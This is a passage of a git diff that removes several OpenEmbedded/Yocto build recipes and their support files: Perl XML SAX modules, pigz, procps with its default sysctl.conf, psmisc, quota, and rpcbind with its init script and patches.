6use this module as a base class so you don't have to, for example, \
7implement the characters() callback."
8
9SECTION = "libs"
10LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
11RDEPENDS:${PN} += "perl-module-extutils-makemaker"
12
13LIC_FILES_CHKSUM = "file://dist.ini;endline=5;md5=8f9c9a55340aefaee6e9704c88466446"
14
15SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GR/GRANTM/XML-SAX-Base-${PV}.tar.gz"
16
17SRC_URI[sha256sum] = "66cb355ba4ef47c10ca738bd35999723644386ac853abbeb5132841f5e8a2ad0"
18
19S = "${UNPACKDIR}/XML-SAX-Base-${PV}"
20
21inherit cpan ptest-perl
22
23RDEPENDS:${PN}-ptest += "perl-module-test perl-module-test-more"
24
25BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb b/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
deleted file mode 100644
index 67bdac981d..0000000000
--- a/meta/recipes-extended/perl/libxml-sax-perl_1.02.bb
+++ /dev/null
@@ -1,41 +0,0 @@
1SUMMARY = "Perl module for using and building Perl SAX2 XML processors"
2HOMEPAGE = "http://search.cpan.org/dist/XML-SAX/"
3DESCRIPTION = "XML::SAX consists of several framework classes for using and \
4building Perl SAX2 XML parsers, filters, and drivers. It is designed \
5around the need to be able to "plug in" different SAX parsers to an \
6application without requiring programmer intervention. Those of you \
7familiar with the DBI will be right at home. Some of the designs \
8come from the Java JAXP specification (SAX part), only without the \
9javaness."
10
11SECTION = "libs"
12LICENSE = "Artistic-1.0 | GPL-1.0-or-later"
13DEPENDS += "libxml-namespacesupport-perl-native"
14RDEPENDS:${PN} += "libxml-namespacesupport-perl libxml-sax-base-perl perl-module-file-temp"
15
16LIC_FILES_CHKSUM = "file://LICENSE;md5=65c4cd8f39c24c7135ed70dacbcb09e3"
17
18SRC_URI = "http://search.cpan.org/CPAN/authors/id/G/GR/GRANTM/XML-SAX-${PV}.tar.gz"
19
20SRC_URI[sha256sum] = "4506c387043aa6a77b455f00f57409f3720aa7e553495ab2535263b4ed1ea12a"
21
22S = "${UNPACKDIR}/XML-SAX-${PV}"
23
24inherit cpan ptest-perl
25
26do_install_ptest() {
27 cp -r ${B}/testfiles ${D}${PTEST_PATH}
28 chown -R root:root ${D}${PTEST_PATH}/testfiles
29}
30
31RDEPENDS:${PN} += "perl-module-encode perl-module-perlio perl-module-encode-encoding"
32
33RDEPENDS:${PN}-ptest += " \
34 perl-module-base \
35 perl-module-encode-byte \
36 perl-module-encode-unicode \
37 perl-module-fatal \
38 perl-module-test \
39"
40
41BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/pigz/pigz_2.8.bb b/meta/recipes-extended/pigz/pigz_2.8.bb
deleted file mode 100644
index fcf0c93e41..0000000000
--- a/meta/recipes-extended/pigz/pigz_2.8.bb
+++ /dev/null
@@ -1,48 +0,0 @@
1SUMMARY = "A parallel implementation of gzip"
2DESCRIPTION = "pigz, which stands for parallel implementation of gzip, is a \
3fully functional replacement for gzip that exploits multiple processors and \
4multiple cores to the hilt when compressing data. pigz was written by Mark \
5Adler, and uses the zlib and pthread libraries."
6HOMEPAGE = "http://zlib.net/pigz/"
7SECTION = "console/utils"
8LICENSE = "Zlib & Apache-2.0"
9LIC_FILES_CHKSUM = "file://pigz.c;md5=9ae6dee8ceba9610596ed0ada493d142;beginline=7;endline=21"
10
11SRC_URI = "http://zlib.net/${BPN}/fossils/${BP}.tar.gz"
12SRC_URI[sha256sum] = "eb872b4f0e1f0ebe59c9f7bd8c506c4204893ba6a8492de31df416f0d5170fd0"
13PROVIDES:class-native += "gzip-native"
14
15# Point this at the homepage in case /fossils/ isn't updated
16UPSTREAM_CHECK_URI = "http://zlib.net/${BPN}/"
17UPSTREAM_CHECK_REGEX = "pigz-(?P<pver>.*)\.tar"
18
19DEPENDS = "zlib"
20
21EXTRA_OEMAKE = "-e MAKEFLAGS="
22
23inherit update-alternatives
24
25do_install() {
26 # Install files into /bin (FHS), which is typical place for gzip
27 install -d ${D}${base_bindir}
28 install ${B}/pigz ${D}${base_bindir}/pigz
29 ln -nsf pigz ${D}${base_bindir}/unpigz
30 ln -nsf pigz ${D}${base_bindir}/pigzcat
31}
32
33do_install:append:class-native() {
34 install -d ${D}${bindir}
35 install ${B}/pigz ${D}${bindir}/gzip
36 ln -nsf gzip ${D}${bindir}/gunzip
37 ln -nsf gzip ${D}${bindir}/zcat
38}
39
40ALTERNATIVE_PRIORITY = "110"
41ALTERNATIVE:${PN} = "gunzip gzip zcat"
42ALTERNATIVE:${PN}:class-nativesdk = ""
43ALTERNATIVE_LINK_NAME[gunzip] = "${base_bindir}/gunzip"
44ALTERNATIVE_LINK_NAME[gzip] = "${base_bindir}/gzip"
45ALTERNATIVE_LINK_NAME[zcat] = "${base_bindir}/zcat"
46ALTERNATIVE_TARGET = "${base_bindir}/pigz"
47
48BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-extended/procps/procps/sysctl.conf b/meta/recipes-extended/procps/procps/sysctl.conf
deleted file mode 100644
index 253f3701bd..0000000000
--- a/meta/recipes-extended/procps/procps/sysctl.conf
+++ /dev/null
@@ -1,67 +0,0 @@
1# This configuration taken from procps v3.3.15
2# Commented out kernel/pid_max=10000 line
3#
4# /etc/sysctl.conf - Configuration file for setting system variables
5# See sysctl.conf (5) for information.
6
7# you can have the CD-ROM close when you use it, and open
8# when you are done.
9#dev.cdrom.autoeject = 1
10#dev.cdrom.autoclose = 1
11
12# protection from the SYN flood attack
13net/ipv4/tcp_syncookies=1
14
15# see the evil packets in your log files
16net/ipv4/conf/all/log_martians=1
17
18# makes you vulnerable or not :-)
19net/ipv4/conf/all/accept_redirects=0
20net/ipv4/conf/all/accept_source_route=0
21net/ipv4/icmp_echo_ignore_broadcasts =1
22
23# needed for routing, including masquerading or NAT
24#net/ipv4/ip_forward=1
25
26# sets the port range used for outgoing connections
27#net.ipv4.ip_local_port_range = 32768 61000
28
29# Broken routers and obsolete firewalls will corrupt the window scaling
30# and ECN. Set these values to 0 to disable window scaling and ECN.
31# This may, rarely, cause some performance loss when running high-speed
32# TCP/IP over huge distances or running TCP/IP over connections with high
33# packet loss and modern routers. This sure beats dropped connections.
34#net.ipv4.tcp_ecn = 0
35
36# Swapping too much or not enough? Disks spinning up when you'd
37# rather they didn't? Tweak these.
38#vm.vfs_cache_pressure = 100
39#vm.laptop_mode = 0
40#vm.swappiness = 60
41
42#kernel.printk_ratelimit_burst = 10
43#kernel.printk_ratelimit = 5
44#kernel.panic_on_oops = 0
45
46# Reboot 600 seconds after a panic
47#kernel.panic = 600
48
49# enable SysRq key (note: console security issues)
50#kernel.sysrq = 1
51
52# Change name of core file to start with the command name
53# so you get things like: emacs.core mozilla-bin.core X.core
54#kernel.core_pattern = %e.core
55
56# NIS/YP domain (not always equal to DNS domain)
57#kernel.domainname = example.com
58#kernel.hostname = darkstar
59
60# This limits PID values to 4 digits, which allows tools like ps
61# to save screen space.
62#kernel/pid_max=10000
63
64# Protects against creating or following links under certain conditions
65# See https://www.kernel.org/doc/Documentation/sysctl/fs.txt
66#fs.protected_hardlinks = 1
67#fs.protected_symlinks = 1
diff --git a/meta/recipes-extended/procps/procps_4.0.5.bb b/meta/recipes-extended/procps/procps_4.0.5.bb
deleted file mode 100644
index d568cc831e..0000000000
--- a/meta/recipes-extended/procps/procps_4.0.5.bb
+++ /dev/null
@@ -1,95 +0,0 @@
1SUMMARY = "System and process monitoring utilities"
2DESCRIPTION = "Procps contains a set of system utilities that provide system information about processes using \
3the /proc filesystem. The package includes the programs ps, top, vmstat, w, kill, and skill."
4HOMEPAGE = "https://gitlab.com/procps-ng/procps"
5SECTION = "base"
6LICENSE = "GPL-2.0-or-later & LGPL-2.0-or-later"
7LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
8 file://COPYING.LIB;md5=4cf66a4984120007c9881cc871cf49db \
9 "
10
11DEPENDS = "ncurses"
12
13inherit autotools gettext pkgconfig update-alternatives
14
15SRC_URI = "git://gitlab.com/procps-ng/procps.git;protocol=https;branch=master;tag=v${PV} \
16 file://sysctl.conf \
17 "
18SRCREV = "f46b2f7929cdfe2913ed0a7f585b09d6adbf994e"
19
20# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
21# don't ship a po/POTFILES.in (which is silly). Without that file gettext
22# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
23do_configure:prepend() {
24 ( cd ${S} && po/update-potfiles )
25}
26
27EXTRA_OECONF = "--enable-skill --disable-modern-top"
28
29PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'systemd', d)}"
30PACKAGECONFIG[systemd] = "--with-systemd,--without-systemd,systemd"
31
32do_install:append () {
33 install -d ${D}${base_bindir}
34 [ "${bindir}" != "${base_bindir}" ] && for i in ${base_bindir_progs}; do mv ${D}${bindir}/$i ${D}${base_bindir}/$i; done
35 install -d ${D}${base_sbindir}
36 [ "${sbindir}" != "${base_sbindir}" ] && for i in ${base_sbindir_progs}; do mv ${D}${sbindir}/$i ${D}${base_sbindir}/$i; done
37 if [ "${base_sbindir}" != "${sbindir}" ]; then
38 rmdir ${D}${sbindir}
39 fi
40
41 install -d ${D}${sysconfdir}
42 install -m 0644 ${UNPACKDIR}/sysctl.conf ${D}${sysconfdir}/sysctl.conf
43 if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
44 install -d ${D}${sysconfdir}/sysctl.d
45 ln -sf ../sysctl.conf ${D}${sysconfdir}/sysctl.d/99-sysctl.conf
46 fi
47}
48
49CONFFILES:${PN} = "${sysconfdir}/sysctl.conf"
50
51bindir_progs = "free pkill pmap pgrep pwdx skill snice top uptime w"
52base_bindir_progs += "kill pidof ps watch"
53base_sbindir_progs += "sysctl"
54
55ALTERNATIVE_PRIORITY = "200"
56ALTERNATIVE_PRIORITY[pidof] = "150"
57
58ALTERNATIVE:${PN} = "${bindir_progs} ${base_bindir_progs} ${base_sbindir_progs}"
59
60ALTERNATIVE:${PN}-doc = "kill.1 uptime.1"
61ALTERNATIVE_LINK_NAME[kill.1] = "${mandir}/man1/kill.1"
62ALTERNATIVE_LINK_NAME[uptime.1] = "${mandir}/man1/uptime.1"
63
64python __anonymous() {
65 for prog in d.getVar('base_bindir_progs').split():
66 d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_bindir'), prog))
67
68 for prog in d.getVar('base_sbindir_progs').split():
69 d.setVarFlag('ALTERNATIVE_LINK_NAME', prog, '%s/%s' % (d.getVar('base_sbindir'), prog))
70}
71
72PROCPS_PACKAGES = "${PN}-lib \
73 ${PN}-ps \
74 ${PN}-sysctl"
75
76PACKAGE_BEFORE_PN = "${PROCPS_PACKAGES}"
77RDEPENDS:${PN} += "${PROCPS_PACKAGES}"
78
79RDEPENDS:${PN}-ps += "${PN}-lib"
80RDEPENDS:${PN}-sysctl += "${PN}-lib"
81
82FILES:${PN}-lib = "${libdir}"
83FILES:${PN}-ps = "${base_bindir}/ps.${BPN}"
84FILES:${PN}-sysctl = "${base_sbindir}/sysctl.${BPN} ${sysconfdir}/sysctl.conf ${sysconfdir}/sysctl.d"
85
86ALTERNATIVE:${PN}:remove = "ps"
87ALTERNATIVE:${PN}:remove = "sysctl"
88
89ALTERNATIVE:${PN}-ps = "ps"
90ALTERNATIVE_TARGET[ps] = "${base_bindir}/ps"
91ALTERNATIVE_LINK_NAME[ps] = "${base_bindir}/ps"
92
93ALTERNATIVE:${PN}-sysctl = "sysctl"
94ALTERNATIVE_TARGET[sysctl] = "${base_sbindir}/sysctl"
95ALTERNATIVE_LINK_NAME[sysctl] = "${base_sbindir}/sysctl"
diff --git a/meta/recipes-extended/psmisc/psmisc_23.7.bb b/meta/recipes-extended/psmisc/psmisc_23.7.bb
deleted file mode 100644
index 44f8530977..0000000000
--- a/meta/recipes-extended/psmisc/psmisc_23.7.bb
+++ /dev/null
@@ -1,60 +0,0 @@
1SUMMARY = "Utilities for managing processes on your system"
2HOMEPAGE = "http://psmisc.sf.net/"
3DESCRIPTION = "The psmisc package contains utilities for managing processes on your \
4system: pstree, killall and fuser. The pstree command displays a tree \
5structure of all of the running processes on your system. The killall \
6command sends a specified signal (SIGTERM if nothing is specified) to \
7processes identified by name. The fuser command identifies the PIDs \
8of processes that are using specified files or filesystems."
9SECTION = "base"
10DEPENDS = "ncurses virtual/libintl"
11
12LICENSE = "GPL-2.0-only"
13LIC_FILES_CHKSUM = "file://COPYING;md5=0636e73ff0215e8d672dc4c32c317bb3"
14
15SRC_URI = "git://gitlab.com/psmisc/psmisc.git;protocol=https;branch=master;tag=v${PV} \
16 "
17SRCREV = "9091d6dbcce3d8fb87adf9249a2eb346d25a562c"
18
19inherit autotools gettext
20
21# Upstream has a custom autogen.sh which invokes po/update-potfiles as they
22# don't ship a po/POTFILES.in (which is silly). Without that file gettext
23# doesn't believe po/ is a gettext directory and won't generate po/Makefile.
24do_configure:prepend() {
25 ( cd ${S} && po/update-potfiles )
26}
27
28PACKAGECONFIG ??= "${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)}"
29PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
30PACKAGECONFIG[selinux] = "--enable-selinux,--disable-selinux,libselinux"
31
32ALLOW_EMPTY:${PN} = "1"
33
34PACKAGES =+ "fuser fuser-doc killall killall-doc pstree pstree-doc"
35PACKAGES += "psmisc-extras"
36
37FILES:${PN} = ""
38RDEPENDS:${PN} = "fuser killall pstree"
39
40FILES:fuser = "${bindir}/fuser.${BPN}"
41FILES:fuser-doc = "${mandir}/man1/fuser*"
42
43FILES:killall = "${bindir}/killall.${BPN}"
44FILES:killall-doc = "${mandir}/man1/killall*"
45
46FILES:pstree = "${bindir}/pstree"
47FILES:pstree-doc = "${mandir}/man1/pstree*"
48
49FILES:psmisc-extras = "${bindir}"
50FILES:psmisc-extras-doc = "${mandir}"
51
52inherit update-alternatives
53
54ALTERNATIVE_PRIORITY = "90"
55
56ALTERNATIVE:killall = "killall"
57
58ALTERNATIVE:fuser = "fuser"
59
60ALTERNATIVE:pstree = "pstree"
diff --git a/meta/recipes-extended/quota/quota/0001-setproject-Fix-openWRT-build.patch b/meta/recipes-extended/quota/quota/0001-setproject-Fix-openWRT-build.patch
deleted file mode 100644
index 8ca3d9f773..0000000000
--- a/meta/recipes-extended/quota/quota/0001-setproject-Fix-openWRT-build.patch
+++ /dev/null
@@ -1,30 +0,0 @@
1From 41ba7031ca4852739dd1f66102d34e4a98490906 Mon Sep 17 00:00:00 2001
2From: Jan Kara <jack@suse.cz>
3Date: Tue, 1 Jul 2025 15:41:56 +0200
4Subject: [PATCH] setproject: Fix openWRT build
5
6basename() needs libgen.h include in openWRT build environment. Add it.
7
8Reported-by: "W. Michael Petullo" <mike@flyn.org>
9Signed-off-by: Jan Kara <jack@suse.cz>
10
11Upstream-Status: Backport [https://sourceforge.net/p/linuxquota/code/ci/41ba7031ca4852739dd1f66102d34e4a98490906/]
12
13This also fixes the build in Yocto.
14Signed-off-by: Gyorgy Sarvari <skandigraun@gmail.com>
15---
16 setproject.c | 1 +
17 1 file changed, 1 insertion(+)
18
19diff --git a/setproject.c b/setproject.c
20index e688dcd..4308435 100644
21--- a/setproject.c
22+++ b/setproject.c
23@@ -13,6 +13,7 @@
24 #include <sys/stat.h>
25 #include <sys/types.h>
26 #include <unistd.h>
27+#include <libgen.h>
28
29 #include <linux/fs.h>
30
diff --git a/meta/recipes-extended/quota/quota_4.10.bb b/meta/recipes-extended/quota/quota_4.10.bb
deleted file mode 100644
index 6f1dc58777..0000000000
--- a/meta/recipes-extended/quota/quota_4.10.bb
+++ /dev/null
@@ -1,34 +0,0 @@
1SUMMARY = "Tools for monitoring & limiting user disk usage per filesystem"
2SECTION = "base"
3HOMEPAGE = "http://sourceforge.net/projects/linuxquota/"
4DESCRIPTION = "Tools and patches for the Linux Diskquota system as part of the Linux kernel"
5BUGTRACKER = "http://sourceforge.net/tracker/?group_id=18136&atid=118136"
6LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later"
7LIC_FILES_CHKSUM = "file://rquota_server.c;beginline=1;endline=20;md5=fe7e0d7e11c6f820f8fa62a5af71230f \
8 file://svc_socket.c;beginline=1;endline=17;md5=24d5a8792da45910786eeac750be8ceb"
9
10SRC_URI = "${SOURCEFORGE_MIRROR}/project/linuxquota/quota-tools/${PV}/quota-${PV}.tar.gz \
11 file://0001-setproject-Fix-openWRT-build.patch \
12 "
13SRC_URI[sha256sum] = "a04a0cafca29c15be8b6ac660e06188bccb802c19efe2e7c19ed7f3d667ecf5e"
14
15CVE_PRODUCT = "linux_diskquota"
16
17UPSTREAM_CHECK_URI = "http://sourceforge.net/projects/linuxquota/files/quota-tools/"
18UPSTREAM_CHECK_REGEX = "/quota-tools/(?P<pver>(\d+[\.\-_]*)+)/"
19
20DEPENDS = "gettext-native e2fsprogs libnl dbus"
21
22inherit autotools-brokensep gettext pkgconfig
23
24CFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-I${STAGING_INCDIR}/tirpc', '', d)}"
25LDFLAGS += "${@bb.utils.contains('PACKAGECONFIG', 'rpc', '-ltirpc', '', d)}"
26ASNEEDED = ""
27
28PACKAGECONFIG ??= "tcp-wrappers rpc bsd"
29PACKAGECONFIG:libc-musl = "tcp-wrappers rpc"
30
31PACKAGECONFIG[tcp-wrappers] = "--enable-libwrap,--disable-libwrap,tcp-wrappers"
32PACKAGECONFIG[rpc] = "--enable-rpc,--disable-rpc,libtirpc"
33PACKAGECONFIG[bsd] = "--enable-bsd_behaviour=yes,--enable-bsd_behaviour=no,"
34PACKAGECONFIG[ldapmail] = "--enable-ldapmail,--disable-ldapmail,openldap"
diff --git a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch b/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
deleted file mode 100644
index 28d83e74f5..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch
+++ /dev/null
@@ -1,47 +0,0 @@
1From 87a9931e4aa97d7b6eb3b25f26444e30e45e3e41 Mon Sep 17 00:00:00 2001
2From: Stefan Agner <stefan.agner@toradex.com>
3Date: Wed, 27 Aug 2025 11:30:48 +0800
4Subject: [PATCH] systemd: use EnvironmentFile
5
6Use OE specific environment file.
7
8Upstream-Status: Inappropriate [OE specific]
9Signed-off-by: Stefan Agner <stefan.agner@toradex.com>
10Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
11---
12 configure.ac | 2 ++
13 systemd/rpcbind.service.in | 6 +++---
14 2 files changed, 5 insertions(+), 3 deletions(-)
15
16diff --git a/configure.ac b/configure.ac
17index 6ede0af..d1ae5e4 100644
18--- a/configure.ac
19+++ b/configure.ac
20@@ -86,5 +86,7 @@ AC_CHECK_HEADERS([nss.h])
21 # 2 "evals" needed to expand variable names
22 AC_SUBST([_sbindir])
23 AC_CONFIG_COMMANDS_PRE([eval eval _sbindir=$sbindir])
24+AC_SUBST([_sysconfdir])
25+AC_CONFIG_COMMANDS_PRE([eval eval _sysconfdir=$sysconfdir])
26
27 AC_OUTPUT([Makefile systemd/rpcbind.service systemd/rpcbind.socket])
28diff --git a/systemd/rpcbind.service.in b/systemd/rpcbind.service.in
29index 771b944..5992098 100644
30--- a/systemd/rpcbind.service.in
31+++ b/systemd/rpcbind.service.in
32@@ -23,9 +23,9 @@ ProtectControlGroups=true
33 RestrictRealtime=true
34 Type=notify
35 # distro can provide a drop-in adding EnvironmentFile=-/??? if needed.
36-EnvironmentFile=-/etc/rpcbind.conf
37-EnvironmentFile=-/etc/default/rpcbind
38-EnvironmentFile=-/etc/sysconfig/rpcbind
39+EnvironmentFile=-@_sysconfdir@/rpcbind.conf
40+EnvironmentFile=-@_sysconfdir@/default/rpcbind
41+EnvironmentFile=-@_sysconfdir@/sysconfig/rpcbind
42 ExecStart=@_sbindir@/rpcbind $RPCBIND_OPTIONS @warmstarts_opt@ -f
43
44 [Install]
45--
462.34.1
47
diff --git a/meta/recipes-extended/rpcbind/rpcbind/init.d b/meta/recipes-extended/rpcbind/rpcbind/init.d
deleted file mode 100644
index 67499aa828..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/init.d
+++ /dev/null
@@ -1,87 +0,0 @@
1#!/bin/sh
2#
3# start/stop rpcbind daemon.
4
5### BEGIN INIT INFO
6# Provides: rpcbind
7# Required-Start: $network
8# Required-Stop: $network
9# Default-Start: S 2 3 4 5
10# Default-Stop: 0 1 6
11# Short-Description: RPC portmapper replacement
12# Description: rpcbind is a server that converts RPC (Remote
13# Procedure Call) program numbers into DARPA
14# protocol port numbers. It must be running in
15# order to make RPC calls. Services that use
16# RPC include NFS and NIS.
17### END INIT INFO
18
19# Source function library.
20. /etc/init.d/functions
21
22test -f /sbin/rpcbind || exit 0
23
24OPTIONS=""
25if [ -f /etc/default/rpcbind ]
26then
27 . /etc/default/rpcbind
28elif [ -f /etc/rpcbind.conf ]
29then
30 . /etc/rpcbind.conf
31fi
32
33start ()
34{
35 echo -n "Starting rpcbind daemon..."
36 if pidof /sbin/rpcbind >/dev/null; then
37 echo "already running."
38 exit 0
39 fi
40 start-stop-daemon --start --quiet --exec /sbin/rpcbind -- "$@"
41 if [ $? -eq 0 ]; then
42 echo "done."
43 else
44 echo "failed."
45 fi
46}
47
48stop ()
49{
50 echo "Stopping rpcbind daemon..."
51 if ! pidof /sbin/rpcbind >/dev/null; then
52 echo "not running."
53 return 0
54 fi
55 start-stop-daemon --stop --quiet --exec /sbin/rpcbind
56 if [ $? -eq 0 ]; then
57 echo "done."
58 else
59 echo "failed."
60 fi
61}
62
63case "$1" in
64 start)
65 start $OPTIONS
66 ;;
67 stop)
68 stop
69 ;;
70 force-reload)
71 stop
72 start $OPTIONS
73 ;;
74 restart)
75 stop
76 start $OPTIONS
77 ;;
78 status)
79 status /sbin/rpcbind
80 ;;
81 *)
82 echo "Usage: /etc/init.d/rpcbind {start|stop|force-reload|restart|status}"
83 exit 1
84 ;;
85esac
86
87exit $?
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
deleted file mode 100644
index f423ac1788..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf
+++ /dev/null
@@ -1,3 +0,0 @@
1# Optional arguments passed to rpcbind.
2#
3RPCBIND_OPTIONS=""
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.systemd b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.systemd
deleted file mode 100644
index 5765751326..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.systemd
+++ /dev/null
@@ -1,3 +0,0 @@
1[Unit]
2# Make sure the runtime directory exists
3After=systemd-tmpfiles-setup.service
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.tmpfiles b/meta/recipes-extended/rpcbind/rpcbind/rpcbind.tmpfiles
deleted file mode 100644
index fecee72c09..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind.tmpfiles
+++ /dev/null
@@ -1 +0,0 @@
1d /run/rpcbind 0755 root root -
diff --git a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch b/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
deleted file mode 100644
index 3205ff3086..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch
+++ /dev/null
@@ -1,131 +0,0 @@
1From 285c193dc94b53763ac8d6f91229eaab37d45fc6 Mon Sep 17 00:00:00 2001
2From: Roy Li <rongqing.li@windriver.com>
3Date: Wed, 27 Aug 2025 11:24:53 +0800
4Subject: [PATCH] add option to make users able to use fixed port number
5
6Upstream-Status: Submitted [https://sourceforge.net/p/rpcbind/discussion/716839/thread/32af721d/]
7
8Signed-off-by: Li Wang <li.wang@windriver.com>
9Signed-off-by: Roy Li <rongqing.li@windriver.com>
10Signed-off-by: Yi Zhao <yi.zhao@windriver.com>
11Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
12---
13 man/rpcbind.8 | 4 +++-
14 src/rpcb_svc_com.c | 17 +++++++++++++++++
15 src/rpcbind.c | 8 ++++++--
16 3 files changed, 26 insertions(+), 3 deletions(-)
17
18diff --git a/man/rpcbind.8 b/man/rpcbind.8
19index 15b70f9..4a6ffbc 100644
20--- a/man/rpcbind.8
21+++ b/man/rpcbind.8
22@@ -11,7 +11,7 @@
23 .Nd universal addresses to RPC program number mapper
24 .Sh SYNOPSIS
25 .Nm
26-.Op Fl adfhilsvw
27+.Op Fl adfhpilsvw
28 .Sh DESCRIPTION
29 The
30 .Nm
31@@ -96,6 +96,8 @@ will automatically add
32 and if IPv6 is enabled,
33 .Li ::1
34 to the list.
35+.It Fl p
36+Bind for fixed UDP port number
37 If no
38 .Fl h
39 option is specified,
40diff --git a/src/rpcb_svc_com.c b/src/rpcb_svc_com.c
41index 1743dad..07a1c75 100644
42--- a/src/rpcb_svc_com.c
43+++ b/src/rpcb_svc_com.c
44@@ -48,6 +48,7 @@
45 #include <rpc/rpc.h>
46 #include <rpc/rpcb_prot.h>
47 #include <rpc/svc_dg.h>
48+#include <rpc/rpc_com.h>
49 #include <netconfig.h>
50 #include <errno.h>
51 #include <syslog.h>
52@@ -497,6 +498,7 @@ xdr_opaque_parms(XDR *xdrs, struct r_rmtcall_args *cap)
53
54 static struct rmtcallfd_list *rmthead;
55 static struct rmtcallfd_list *rmttail;
56+extern unsigned short fixed_port;
57
58 int
59 create_rmtcall_fd(struct netconfig *nconf)
60@@ -504,6 +506,8 @@ create_rmtcall_fd(struct netconfig *nconf)
61 int fd;
62 struct rmtcallfd_list *rmt;
63 SVCXPRT *xprt;
64+ struct __rpc_sockinfo si;
65+ struct t_bind taddr;
66
67 if ((fd = __rpc_nconf2fd(nconf)) == -1) {
68 if (debugging)
69@@ -512,6 +516,19 @@ create_rmtcall_fd(struct netconfig *nconf)
70 nconf->nc_device, errno);
71 return (-1);
72 }
73+
74+ if (fixed_port) {
75+ __rpc_fd2sockinfo(fd, &si);
76+ memset(&taddr, 0, sizeof(taddr));
77+ taddr.addr.maxlen = taddr.addr.len = si.si_alen;
78+ taddr.addr.buf = malloc(si.si_alen);
79+ if (taddr.addr.buf == NULL) {
80+ return -1;
81+ }
82+ *(unsigned short *)(&(taddr.addr.buf[0])) = si.si_af;
83+ *(unsigned short *)(&(taddr.addr.buf[2])) = htons(fixed_port);
84+ xprt = svc_tli_create(fd, nconf, &taddr, RPC_MAXDATASIZE, RPC_MAXDATASIZE);
85+ } else
86 xprt = svc_tli_create(fd, 0, (struct t_bind *) 0, 0, 0);
87 if (xprt == NULL) {
88 if (debugging)
89diff --git a/src/rpcbind.c b/src/rpcbind.c
90index bf7b499..7268907 100644
91--- a/src/rpcbind.c
92+++ b/src/rpcbind.c
93@@ -112,6 +112,7 @@ int runasdaemon = 0;
94 int insecure = 0;
95 int oldstyle_local = 0;
96 int verboselog = 0;
97+unsigned short fixed_port = 0;
98
99 char **hosts = NULL;
100 int nhosts = 0;
101@@ -959,7 +960,7 @@ parseargs(int argc, char *argv[])
102 {
103 int c;
104 oldstyle_local = 1;
105- while ((c = getopt(argc, argv, "adfh:ilsvw")) != -1) {
106+ while ((c = getopt(argc, argv, "adfh:p:ilsvw")) != -1) {
107 switch (c) {
108 case 'a':
109 doabort = 1; /* when debugging, do an abort on */
110@@ -977,6 +978,9 @@ parseargs(int argc, char *argv[])
111 if (hosts[nhosts - 1] == NULL)
112 errx(1, "Out of memory");
113 break;
114+ case 'p':
115+ fixed_port = atoi(optarg);
116+ break;
117 case 'i':
118 insecure = 1;
119 break;
120@@ -999,7 +1003,7 @@ parseargs(int argc, char *argv[])
121 break;
122 #endif
123 default: /* error */
124- fprintf(stderr, "usage: rpcbind [-adfhilsvw]\n");
125+ fprintf(stderr, "usage: rpcbind [-adfhpilsvw]\n");
126 exit (1);
127 }
128 }
129--
1302.34.1
131
diff --git a/meta/recipes-extended/rpcbind/rpcbind_1.2.8.bb b/meta/recipes-extended/rpcbind/rpcbind_1.2.8.bb
deleted file mode 100644
index b669a53ae9..0000000000
--- a/meta/recipes-extended/rpcbind/rpcbind_1.2.8.bb
+++ /dev/null
@@ -1,65 +0,0 @@
1SUMMARY = "Universal Addresses to RPC Program Number Mapper"
2DESCRIPTION = "The rpcbind utility is a server that converts RPC \
3 program numbers into universal addresses."
4SECTION = "console/network"
5HOMEPAGE = "http://sourceforge.net/projects/rpcbind/"
6BUGTRACKER = "http://sourceforge.net/tracker/?group_id=201237&atid=976751"
7DEPENDS = "libtirpc quota"
8
9LICENSE = "BSD-3-Clause"
10LIC_FILES_CHKSUM = "file://COPYING;md5=b46486e4c4a416602693a711bb5bfa39 \
11 file://src/rpcinfo.c;beginline=1;endline=27;md5=f8a8cd2cb25ac5aa16767364fb0e3c24"
12
13SRC_URI = "${SOURCEFORGE_MIRROR}/rpcbind/rpcbind-${PV}.tar.bz2 \
14 file://init.d \
15 file://rpcbind.conf \
16 file://rpcbind.tmpfiles \
17 file://rpcbind.systemd \
18 file://rpcbind_add_option_to_fix_port_number.patch \
19 file://0001-systemd-use-EnvironmentFile.patch \
20 "
21SRC_URI[sha256sum] = "964132c389918e8964d7334936b6dd10ef025b300c6b29e693ba0f29550e3de5"
22
23inherit autotools update-rc.d systemd pkgconfig update-alternatives sourceforge-releases
24
25PACKAGECONFIG ??= "tcp-wrappers"
